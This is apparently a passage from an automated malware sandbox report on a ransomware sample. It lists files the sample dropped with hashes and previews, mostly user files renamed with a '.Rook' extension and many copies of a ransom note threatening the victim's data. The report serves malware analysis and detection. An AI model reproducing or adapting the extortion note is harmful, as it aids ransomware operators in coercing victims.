Preview:	.0?......Ga.h. ..j..doog.....1C:..e.,...&?n.Y..2\spool\drivers\.J.@z.a....gH.......,..........m.bAS......@.YMC baLsffo.....T...i.@..J..{.esc........Agfa .~\r".~..)4....:.................>.bC...w,.2[m..................>.bC...w,.2[m...................Q@g...}..l.D0.................. .:..`=~....Xdoog.....DC:\Win...2Yu\|...\.}(.ool\drivers\coloK3....}...eB7.ce Profile.icm..1...!.0r?G..t9...........rtnm B..v.]...s..r..N..1...TFSMl...deT..]`.\3.{..K.EC61966-2.1.....%+..-%...R.D...1966-2.1.........>.bC...w,.2[m.....................'.........................?.$..W*....dZ....H.............V.......................\.2..Z:.u.nz..65uaw.....u.j....5X.U...W.4...i.l.b......._..[i. .C=...D."...v.}..@E..COn(.A...4....>&P).A.-.i+.rd..6..R..6.w.\?". .Q.P..N...@NaI.;I......?./..@..q.rp..G....r....$..?....T...-+.b......\.yJ...!...?../M.}z.r..%....k.(.._V&........~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c.

C:\Users\user\AppData\Local\Adobe\Color\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Color\Profiles\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Comms\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Comms\UnistoreDB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	10776
Entropy (8bit):	5.035506064356338
Encrypted:	false
SSDEEP:	96:Wg+gg+xMywZ7Ko4/AAUn5U50+NS43LPuLjv:v+h+i6oiM5U50B43LPun
MD5:	7B3C45555D21132929AD44A8EF58D6B8
SHA1:	002C80D0D54B275799662D40F63CD978EE8CCAE8
SHA-256:	E35B85831F317CFABDDB8EA1970BBD34013C612F52B24AF0059231532F5F457B
SHA-512:	D155DCE07E3AC960EF3E463C760725E71B6053E0488E424166DA73D62ED5CF737DFE4E3A885A59CB3DCBB80972C37E8926946587667FB1B76ED610B478BD7874
Malicious:	false
Preview:	[..r...X...(<........MNU5....y......C.D....$rUGC:\Users\user.s..f......x.\.omms\UnistoreDB\....C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG.....C:\Users\al....h..... .k9m\|cal\Comms\Unisto.C?...oF9.~X.......................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG..................R/*...:F.7..z....................C.D....$rUG.................E.\!.....>.s.......................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D....$rUG....................C.D.

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3148312
Entropy (8bit):	1.7938862729105274
Encrypted:	false
SSDEEP:	48:EcviGCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:Ees7Ko4/AAUn5U50+NS43LPuLjv
MD5:	9D114D4C08E13FDA7E02630FA290E927
SHA1:	8F8ADD9927C2D2D4CECBF1FEE34EC6089B65DC04
SHA-256:	B615478E617EF11644D347FC2E73E9495A61A52EC107C6E2BB31D54665AD92DD
SHA-512:	3150C079D089450A96F9D90416DBF18B5A5A44EF5673763AEB0360A1B8EF32B98C89B8A2C7D72A9372307BFFE3D1B0D4EAF67C083C29E0F329EE41034AD7948A
Malicious:	false
Preview:	.......0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g..........................0.g.........................

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3148312
Entropy (8bit):	1.7939047759740043
Encrypted:	false
SSDEEP:	48:z+TBR1bCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:idR1y7Ko4/AAUn5U50+NS43LPuLjv
MD5:	1825BF691F69DD82164A3A13E00B66E6
SHA1:	239665FA7E28270254FF3B99C1DC6366183394A7
SHA-256:	055CC13AA6AEF835F1F0C3BC257BD69F5CA3BC93740B66FA7AA3E07CD4A9FB16
SHA-512:	02E152206765E5F2689EB3EEF8EA93ECB974D095206E1DDF57217FCC8225452F4F5A5D052F1377C6265BE271260ABFCEBCC11D9C5FF42589AC9D5342DEEC1BD8
Malicious:	false
Preview:	..XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]..0`..~...................XV...]

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3148312
Entropy (8bit):	1.8249947086115008
Encrypted:	false
SSDEEP:	48:hccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccf:tcG7Ko4/AAUn5U50+NS43LPuLjv
MD5:	9B305A76846F1896F42941FD38DE1F4E
SHA1:	D0FD364C09D3EB83B1C020F37192FDB72564FFE1
SHA-256:	EA26A33D765C0893E458F31B56AD4246955532C0D5F4F7AEBA4AFE901F934281
SHA-512:	BFE4E6F8B864481CE6E5FC9D9AE980F623FC2589B9495FCB00DC842A5C427E5393F99F8802F48604E1E7E576113BB5DB1AB2E38BF9287C07088771D0FDED96D4
Malicious:	false
Preview:	j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g...(..y...................j..b.g..

C:\Users\user\AppData\Local\Comms\Unistore\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Comms\Unistore\data\AggregateCache.uca.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	7.917119827967215
Encrypted:	false
SSDEEP:	48:XrkCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:Xrp7Ko4/AAUn5U50+NS43LPuLjv
MD5:	DDC69C49A4CC61AF79BE4E3E22139588
SHA1:	1FFA68AE78088E53A52DD97DDF899A1A1A4536B8
SHA-256:	66609A678DE4466CA7C70DA8A4DFE951E6A8A75FF52A8493765976A6821C5F1F
SHA-512:	F045624568BC18F4A7426418B33B9B424FE5AA7EF9DBE964A5621E3A5E4016B8212220476BD501C5ACB9FCD28C31DAE06BA2652AA7878C574EB1372F4CA383D7
Malicious:	false
Preview:	....?.....L.................................;..7.........W>ak.....A...W.H $..3.D[e.Q.%......oukQ-...{..s.S.a.&{n]..e..y...8&.RF..\|.+G.A.MZ....q....#......5..S.'.:x..... ....m3..F.z.$.8...s.Y......A!Q....u.+...~.......w.D....W./............F...}=(.i..4.c..$.<.^...8..!I... !...X.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j).....o..B.V...d

C:\Users\user\AppData\Local\Comms\Unistore\data\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	6808
Entropy (8bit):	7.4818250079373065
Encrypted:	false
SSDEEP:	192:gnkswNCe8lCGeiH3IAmpd5VZwjeoiM5U50B43LPun:gIM70IXINv5gTJO3LPG
MD5:	E1D5EDA0A269B1F98A03FB24A6A3C442
SHA1:	9319E42B74EE6EED212E1504D0E98CF5FEEB479F
SHA-256:	9C1C4EDF9D94E8F7D23C3D2E0D7D2EDA15E87AEE4FDED5428F4B3746691B438A
SHA-512:	125983E9C44F7614D8296DA0A16AF820DB076F5A2BFF30796D23E6A158C5683A8EFAC1766DAD98A206C62B4B9B0EE17FB5DC2A2157DAB49DE43DDB96DA3CBAC0
Malicious:	false
Preview:	.}..B.].+.....ronment" : 0,. V.1Bf...4....>P.ps://activity.wi.. ..9m5#....A.VAccountSettings".L{...P....d.ityStoreInfo" : ..3Z.?...3.o..- "active" : tr.VBn.T...h..t.g.tivityStoreId" :...?Yw..N.V.G..;16A3-B512-7562E0.]..fb.......N "stableUserId".u.8m..).....7. }. ],. bd....e8.vU.M. : "undefined",.H(.@..}......W..ttings" : {. g.....G^,..]<.. : 0,. "Clo..{.a..6..x..6= "PublishUserA..FC...n.1d.... "UploadUserAo...U....~i#:.+},. "AfsConnec'.q.D..i....#.(. true,. "AfsPo..#.J...#.M...WaitMs" : 10000,.....5..g.&..Y.uencyMs" : 86400&..&.~U........ication.Environm....Eh..g..I.O.uetoothTransport..@..]..29.uT... "BluetoothTr.,............>lowed" : true,. +........O.6.." : "/api/v1",. a'..X....k\|.j.s2verName" : "rome...........`...m",. "CcsPolli.@..gRE.j!..3..se,. "CcsPolli/.k..3......y. "CcsSeenRequ.(.+.UoDyZ..cY% "CcsSeenRequest%.-..V".T..2.g.#me" : "0000-00-0.er...6=O?.....Y. "Cloud.SessiM.F..g.U.:.v]l.ervalSecs" : 360-...{...

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3240
Entropy (8bit):	7.869523026263373
Encrypted:	false
SSDEEP:	96:NLsrw7FMW4T7Ko4/AAUn5U50+NS43LPuLjv:NLsPW4ioiM5U50B43LPun
MD5:	BD1BEB14DE09694607086CE6BF037D55
SHA1:	6831FD562379842FECC7D2BA7ED681A90DC7355E
SHA-256:	C9CE3952273A33DF7E787F5BF4A5CD3AA011D6B8D4E086D2EA0E9352977BC4A1
SHA-512:	5F1C2FEBD3D7AD1F8EB08D7BBD2DA97DACA92F1475E47C9417F5CAEFCBA1B7E6F6EA5E06DBBA38455F4A9728DD80051B44D0D7C19B3414583924DA2D22295F99
Malicious:	false
Preview:	4....k...vM2.'.................21Y...wIQ.K.9..M.i.c.r.o.s.o.f..<.g.5E.a.q.E...t.e.d. .D.e.v.i.p.F......./.iff.o.r.m. .d.e.v.!.x....l;X..).i.f.i.c.a.t.e...k>..25&..8:ZEM.Gt. .S.o.f.t.w.a.e7...D.a.@..%K.`t.o.r.a.g.e. .P...A.{,"Ru(."... ...........0...sz.3^..%k...S.C.MGDM5..#0...`.....r.3.....I'...7Microsoft Co{.....j..w+.....Platform device ~......7F..e.20514221658Z..21......i...g,..c.@0>..U...7Microsx.?Qe.v...[Uy...vices Platform d...\...p<...0.e0Y0....H.=....4.......@.qUr....sq...SA..z.X.SK.Z..lI.w<.4..g.!.4...e.."T.@.Sh..C9..../T.....H.=....G.0D. 4.........!l]$..4..J)'....6)....\..4..d.Ytt...z.4...YK.V....x.f.b[.. /..=.`.............................V.?..........Y..,A.u..[P.j`s.d....F1% ...]H.T...+.TG;..2....>.3WI.e........U..H.a.l..Q.o......%.?.e........s.[.QK.......6<t..'~^.....+.V.r:p...=>9.(.jY.....d.sL........Vj$...'.T..S.Y....y......\.v2.-R.,.9.3u7.vI.4}.Eb. .?..Y....8b&hgj..H..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e...

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3544
Entropy (8bit):	7.84390677273578
Encrypted:	false
SSDEEP:	96:9fcoxu1hDT7Ko4/AAUn5U50+NS43LPuLjv:eoxloiM5U50B43LPun
MD5:	8911050C45CAC22B475104DDC916AEFC
SHA1:	39B417425EEE6EACE202F09D2EC75DF690EB85A3
SHA-256:	4450C1E96EEE3B344DBFE9A3FC2C119F73A610B81F27A9CCEDE3CF8D95337DF4
SHA-512:	3B8218EEB40D6D7EBF961427167739402E5E0C8EAE95245DC5E48164A72CFBB2C76D78531C3C4EE6266E2667C70A1B38AFE38B90DE7E3E5EE4C29BFFE02DF105
Malicious:	false
Preview:	...{?.v.d.&.3"..baseSettings" : d.. .@..Q....8.%eInstanceId" : 0.Z....pFS..c..S.ated" : "2021-06.$1.Z.Iu..I....". },. "AfsA... .....~.-..E.[],. "AfsChann...Z\N.U.;D".6D"AfsEnvironment"..=..5.v..%\|g.bscriptionId" : >......RaQ...}..riptionUpdateTim...SU*h......R.T00:00:00.000",.t.$....9j.......edInfoHash" : "".a...m..%.S4..ationUri" : "",._........r....}ionUriExpiration.K...a.......d..-00T00:00:00.000..&&+."....L.cationUriLastSyn.\...:..@.v..)d00T00:00:00.000"...?j..0X...w..ationExpiryTickCm......./.....K81680,. "Devic.f.H.>......jrmatVersion" : 1m.......{..a.1teredNotificatiov>V...'......XV.LastRegisteredNo.<.7.. ..i.a.np.irationTime" : ".??9.....MM.....:00.000",. "La.JN..7..?...."0000-00-00T00:0.Y....EA...:..ogicalDeviceId" ?...0.\..;..T...taEncryptionKeyRW..v....rO.[..e.0000-00-00T00:00....]%.....o...gisteredInfoHash/.vG...TN....IsteredWithStrongt......N5D...J.T "StableUserId"..7.l]?~.......g........................................m..g.h......t...

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	7.910962549011603
Encrypted:	false
SSDEEP:	48:sZIpCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:sZb7Ko4/AAUn5U50+NS43LPuLjv
MD5:	233790AFC4079116C25F720414D8ADA2
SHA1:	5FB6C6114FB6D0399E165A830FA807651D10AA32
SHA-256:	23B7A6C32DF9D6D3FC456365EFB324CD3A9ECF2913772BE857E1560573EC5991
SHA-512:	9E6047AF5EEB648C924D8CC5BF597BECAFF37A9FE86C931EC8CDCD194AE79A05031D91ABD4608680FC3E925A98CCF38FBE2C5B76C1B95C081D6A8F31C68BFFA2
Malicious:	false
Preview:	....O.$.z..'.Ctions" : [],. 3.~.^.s,..z.Q\|=: 0.}...........6.......................N{T...P...Bz.e\. ..sK.A......ty..w..j..B.?.<..=..}.~.P%..5.#.> lI.....P^U._to......#&$....._.r..L.:..X.x..._.TG5[.3..@..r2I.cBA...%\..........7"..h...6F.gE..o......ESg.....T@N.....I.v..~....r.fo6...#j..{.\|...c...^X..#k..V.t.Z.W(},O.<P.YH..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$.

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
